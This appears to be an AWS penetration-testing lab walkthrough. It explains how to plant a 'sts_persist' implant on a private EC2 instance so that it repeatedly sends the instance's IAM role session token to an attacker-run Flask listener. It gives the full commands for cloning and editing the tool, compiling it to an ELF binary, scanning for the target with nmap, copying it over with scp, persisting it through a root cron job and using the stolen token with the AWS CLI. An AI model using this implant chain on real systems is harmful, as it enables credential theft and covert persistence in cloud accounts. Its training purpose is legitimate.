When an IAM role is assigned to an instance, anyone who has user level access to the instance can query the metadata service to collect the session token associated with this role. This session token can then subsequently be used via the AWS CLI to interact with AWS via the control plane APIs. Unfortunately the session token rotates frequently and automatically, normally requiring us to re-exploit the target every time we need to interact with the control plan via the session token.

Once we gain access to a target which has a role assigned to it, we can leave behind a tool which will automatically collect the session token and update us when it changes.

Building the Implant

We can configure the sts_persist tool using the following commands:

```
cd /opt
git clone https://github.com/cno-io/sts_persist.git
cd /opt/sts_persist
```

We should see output similar to the following:

```
root@ip-10-0-1-14:~# cd /opt

root@ip-10-0-1-14:/opt# git clone https://github.com/cno-io/sts_persist.git
Cloning into 'sts_persist'...
...
Checking connectivity... done.

root@ip-10-0-1-14:/opt# cd /opt/sts_persist
```

Find the IP of the system within the public subnet:

```
ifconfig
```

We should see output similar to the following:

```
root@ip-10-0-1-14:/opt/sts_persist# ifconfig
...
eth0 Link encap:Ethernet HWaddr 06:cf:0b:36:5a:1e
inet addr:10.0.1.14 Bcast:10.0.1.255 Mask:255.255.255.0
inet6 addr: fe80::4cf:bff:fe36:5a1e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:309864 errors:0 dropped:0 overruns:0 frame:0
TX packets:22703 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:455688832 (455.6 MB) TX bytes:1918022 (1.9 MB)
...
```

Note:

```
We can see from this output that 10.0.1.14 is the IP address of the public instance but the last octet for you will be different! e.g. 10.0.1.???
```

Edit the code we will send to the internal server, so it will connect back to this public instance:

```
root@ip-10-0-1-14:/opt/sts_persist# vi sts_persist.py

i
...
REPORT_HOST = "http://10.0.1.14:5000"
...
:wq
```

Check the file...

```
root@ip-10-0-1-14:/opt/sts_persist# cat sts_persist.py
...
REPORT_HOST = "http://10.0.1.14:5000"
...
```

The targeted private EC2 instance does not have python or other common scripting tools install by default, meaning we will have to convert this tool to an ELF binary before using it on the remote target. We can do this with the following syntax via the pyinstaller command:

```
cp sts_persist.py /shared/
cnoio_pyinstaller -y --clean --onefile /shared/sts_persist.py
file /shared/dist/sts_persist
```

We should see output similar to the following:

```
root@ip-10-0-1-14:/opt/sts_persist# cp sts_persist.py /shared/
root@ip-10-0-1-14:/opt/sts_persist# cnoio_pyinstaller -y --clean --onefile /shared/sts_persist.py
150 INFO: PyInstaller: 3.3.1
...
4674 INFO: Building EXE from out00-EXE.toc completed successfully.

root@ip-10-0-1-14:/opt/sts_persist# ls -alF /shared/dist/
total 8128
drwxr-xr-x 2 root root 4096 Aug 1 18:31 ./
drwxr-xr-x 10 root root 4096 Aug 1 18:31 ../
-rwxr-xr-x 1 root root 4040808 Aug 1 17:34 reverseShell*
-rwxr-xr-x 1 root root 4268056 Aug 1 18:31 sts_persist*

root@ip-10-0-1-14:/opt/sts_persist# file /shared/dist/sts_persist
/shared/dist/sts_persist: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdb92fd
```

Copy SSH Key to the Public Instance

Transfer the SSH private key to the public EC2 instance via the SCP command on mac or via the WinSCP application on Windows.

For example, on macOS transfer the key via syntax similar to the following:

```
scp -i the_key_you_downloaded_from_aws.pem the_key_you_downloaded_from_aws.pem ubuntu@ip.ip.ip.ip:/tmp/the_key_you_downloaded_from_aws.pem
```

Discover the IP address of the instance running in the private subnet via running the following scan:

```
nmap -Pn -sT -n -p 22 --open --reason 10.0.2.0/24
```

We should see output similar to the following:

```
root@ip-10-0-1-14:/shared# nmap -Pn -sT -n -p 22 --open --reason 10.0.2.0/24

Starting Nmap 7.01 ( https://nmap.org ) at 2020-08-19 22:36 UTC
Nmap scan report for 10.0.2.191
Host is up, received user-set (0.00056s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack

Nmap done: 256 IP addresses (256 hosts up) scanned in 26.66 seconds
```

Note:

```
The EC2 instance running in the public & private subnets get their IP addresses dynamically assigned when they are created via the Cloudformation template, so your internal (e.g. 10.1
- Public Subnet: 10.0.1.0/24 e.g. 10.0.1.226
- Private Subnet: 10.0.2.0/24 e.g. 10.0.2.191
```

Execute Implant on Private Instance

We can then copy this binary to the target via SCP:

```
root@ip-10-0-1-226:/opt/sts_persist# scp -i /tmp/the_key_you_downloaded_from_aws.pem /shared/dist/sts_persist ubuntu@10.0.2.191:/tmp/sts_persist
sts_persist
```

On the public EC2 system, we ensure the aws cli has at least one profile already setup and then start up the listener:

```
root@ip-10-0-1-226:/opt/sts_persist# ls -alF ~/.aws/
total 16
drwxr-xr-x 2 root root 4096 Jul 8 05:32 ./
drwx------ 5 root root 4096 Jul 8 06:01 ../
-rw------- 1 root root 42 Jul 8 05:32 config
-rw------- 1 root root 943 Jul 8 06:01 credentials

root@ip-10-0-1-226:/opt/sts_persist# python run.py
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
```

And then on the remote target server we run the sts_persist ELF binary:

```
root@ip-10-0-1-251:~/.ssh# ssh -i student000_key ubuntu@10.0.2.36
...
Last login: Wed Aug 1 18:10:18 2018 from 10.0.1.251

ubuntu@ip-10-0-2-36:~$ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 06:c7:75:f3:4f:f4
inet addr:10.0.2.191 Bcast:10.0.2.255 Mask:255.255.255.0
...

ubuntu@ip-10-0-2-191:~$ sudo su -

root@ip-10-0-2-191:~# cd /tmp

root@ip-10-0-2-191:/tmp# ./sts_persist
```

On the first EC2 system, we should see an updates similar to this:

```
root@ip-10-0-1-226:/opt/sts_persist# python run.py
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)

Wrote updated profile: 480927147553:awstrainingstack001-bluelizardPrivEC2Role-16N8SQZR1JKII
10.0.2.39 - - [08/Jul/2018 06:04:20] "POST / HTTP/1.1" 200 -
```

We can then interact with the AWS control plane API via the AWS CLI tool:

```
root@ip-10-0-1-226:/opt/sts_persist# aws sts get-caller-identity --profile 480927147553:awstrainingstack001-bluelizardPrivEC2Role-16N8SQZR1JKII
{
"UserId": "AROAIQEF36TZFYYBWC4I4:i-0da9e3f319fecd9d8",
"Account": "480927147553",
"Arn": "arn:aws:sts::480927147553:assumed-role/awstrainingstack001-bluelizardPrivEC2Role-16N8SQZR1JKII/i-0da9e3f319fecd9d8"
}
```

If we set the sts_persist tool to run at a set internal via cron, our secrets will be updated via the listener automatically:

```
root@ip-10-0-2-191:/tmp# crontab -e
no crontab for root - using an empty one

Select an editor. To change later, run 'select-editor'.
1. /bin/ed
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/vim.tiny

Choose 1-4 [2]: 3
G
i

*/5 * * * * /tmp/sts_persist

:wq

crontab: installing new crontab

root@ip-10-0-2-191:/tmp# crontab -l
...
*/5 * * * * /tmp/sts_persist
```

Exercise

Using admin secrets to your student aws account, execute the following objectives:

```
- Compile the sts_persist tool into a single ELF binary

-- Upload the tool to the remote target

--- Run the sts_persist tool on the remote target

---- Ensure the secret was automatically updated on the first ec2 server

----- Use the AWS CLI to interact with the control plane

------ Set the sts_persist tool to run periodically via a cron job
```

References

- uber.com may RCE by Flask Jinja2 Template Injection - https://hackerone.com/reports/125980